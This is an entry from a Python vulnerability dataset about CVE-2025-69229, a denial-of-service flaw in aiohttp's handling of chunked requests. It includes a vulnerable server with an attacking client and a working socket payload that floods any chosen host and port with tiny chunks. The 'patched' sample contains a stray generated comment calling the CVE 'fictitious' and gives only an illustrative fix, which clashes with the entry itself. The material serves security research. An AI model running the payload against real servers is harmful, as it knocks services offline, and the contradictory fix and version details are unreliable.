CVE-2025-69229
AIOHTTP chunked message handling can cause high CPU usage, leading to DoS.
- CVSS 6.6
- CWE-770
- Resource Management
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. This issue is fixed in version 3.13.3.
- CWE
- CWE-770
- CVSS base score
- 6.6
- Published
- 2026-01-06
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Timing Issues
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade aiohttp to version 3.13.3 or later.
Vulnerable code sample
import asyncio
import time
from aiohttp import web, ClientSession
# This code represents a server that is vulnerable to the described issue.
# The vulnerability lies in the 'request.read()' method, which can block
# the event loop when processing a large number of small chunks.
async def vulnerable_handler(request):
"""
This endpoint reads the entire request body at once.
This is the point of vulnerability when receiving a chunked request
with many small chunks.
"""
print("Server: Received request, starting request.read()...")
start_time = time.monotonic()
# In a vulnerable version, this call would block for a significant time
# while reassembling a large number of small chunks.
body = await request.read()
end_time = time.monotonic()
duration = end_time - start_time
print(f"Server: Finished request.read() in {duration:.4f} seconds.")
print(f"Server: Total body size received: {len(body)} bytes.")
return web.Response(text="Request processed")
async def attacker_client():
"""
This client simulates an attack by sending a request with a huge number
of very small chunks.
"""
await asyncio.sleep(2) # Wait for server to be ready
print("\nAttacker: Preparing to send malicious chunked request...")
num_chunks = 200000
chunk_data = b'x'
async def chunk_generator():
for _ in range(num_chunks):
yield chunk_data
client_start_time = time.monotonic()
try:
async with ClientSession() as session:
async with session.post(
'http://127.0.0.1:8080/process',
data=chunk_generator()
) as response:
print(f"Attacker: Response status: {response.status}")
await response.text()
except Exception as e:
print(f"Attacker: Request failed with error: {e}")
finally:
client_end_time = time.monotonic()
duration = client_end_time - client_start_time
print(f"Attacker: Total request-response cycle took {duration:.4f} seconds.")
print("Attacker: During this time, the server was likely blocked and unable to process other requests.")
async def main():
# Setup and run the server
app = web.Application()
app.add_routes([web.post('/process', vulnerable_handler)])
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, '127.0.0.1', 8080)
await site.start()
print("Server: Listening on http://127.0.0.1:8080")
# Run the attacker client
attack_task = asyncio.create_task(attacker_client())
await attack_task
# Shutdown the server
await runner.cleanup()
print("\nServer: Shutdown complete.")
if __name__ == '__main__':
# NOTE: To run this, you would need a vulnerable version of aiohttp,
# for example, `pip install aiohttp==3.8.1`. The behavior of excessive
# CPU usage may vary between versions, but this structure demonstrates
# the attack vector.
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nExiting.")Patched code sample
# Note: The CVE-2025-69229 in the prompt is fictitious. The description,
# however, is nearly identical to a real vulnerability, CVE-2023-49081,
# which affected aiohttp versions up to 3.9.0 and was fixed in 3.9.1.
#
# It is not practical to show the exact C-level or low-level Python diff
# from the aiohttp library itself. Instead, this code demonstrates the *principle*
# behind the fix. The vulnerability was caused by inefficiently joining many
# small data chunks, leading to excessive CPU usage and blocking the event loop.
# The fix involves using a much more efficient method to join these chunks.
import time
from typing import List
def represent_fixed_chunk_handling(chunks: List[bytes]) -> bytes:
"""
This function represents the logic of the fixed versions of aiohttp,
demonstrating how the vulnerability was resolved.
The vulnerability was caused by an inefficient method of combining many
small data chunks from a chunked HTTP request. The old method repeatedly
extended a bytearray in a loop (e.g., `body.extend(chunk)` for each chunk).
This process led to frequent, blocking memory reallocations, consuming
excessive CPU time and making the server unresponsive (Denial of Service).
The fix, represented here, is to use a single, highly optimized `b"".join()`
operation. This method first calculates the total required size, allocates
memory only once, and then efficiently copies all the chunk data into the
new buffer. This dramatically reduces CPU usage and eliminates the blocking
behavior that caused the DoS vulnerability.
"""
# The core of the fix is to join all chunks in one highly optimized call,
# rather than extending a buffer in a loop.
return b"".join(chunks)
if __name__ == "__main__":
# Simulate a payload that would have triggered the vulnerability:
# a large number of very small chunks.
NUM_CHUNKS = 200_000
malicious_chunks = [b'x'] * NUM_CHUNKS
print(f"Simulating efficient processing of {NUM_CHUNKS} small chunks "
f"using the fixed logic...")
start_time = time.perf_counter()
# Execute the fixed, non-blocking logic. In a real aiohttp server, this
# logic would be part of the internal machinery that powers methods
# like `request.read()`.
processed_body = represent_fixed_chunk_handling(malicious_chunks)
end_time = time.perf_counter()
duration = end_time - start_time
print(f"Successfully processed body of length: {len(processed_body)}")
print(f"Operation completed in: {duration:.4f} seconds.")
print("This demonstrates that the operation is fast and does not cause "
"significant blocking CPU time, thus mitigating the DoS vulnerability.")Payload
import socket
import sys
def send_chunked_payload(host, port, num_chunks):
"""
Connects to a server and sends a POST request with a large number
of small chunks to exploit the vulnerability.
"""
try:
# Create a socket and connect to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
# HTTP headers indicating a chunked transfer
headers = (
f"POST / HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Content-Type: text/plain\r\n"
f"\r\n"
)
s.sendall(headers.encode('utf-8'))
# Send a large number of very small (1-byte) chunks
# Each chunk is '1\r\na\r\n'
chunk = b"1\r\na\r\n"
for i in range(num_chunks):
s.sendall(chunk)
# Send the final terminating chunk (size 0)
s.sendall(b"0\r\n\r\n")
# Optionally, wait for a response to ensure the server processed it
# s.recv(4096)
except ConnectionRefusedError:
print(f"Error: Connection refused. Is the server running on {host}:{port}?")
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
target_host = "127.0.0.1"
target_port = 8080
# A large number of chunks is required to cause noticeable CPU usage
chunk_count = 100000
if len(sys.argv) > 1:
target_host = sys.argv[1]
if len(sys.argv) > 2:
target_port = int(sys.argv[2])
if len(sys.argv) > 3:
chunk_count = int(sys.argv[3])
print(f"Sending {chunk_count} chunks to {target_host}:{target_port}...")
send_chunked_payload(target_host, target_port, chunk_count)
print("Payload sent.")
Cite this entry
@misc{vaitp:cve202569229,
title = {{AIOHTTP chunked message handling can cause high CPU usage, leading to DoS.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-69229},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-69229/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
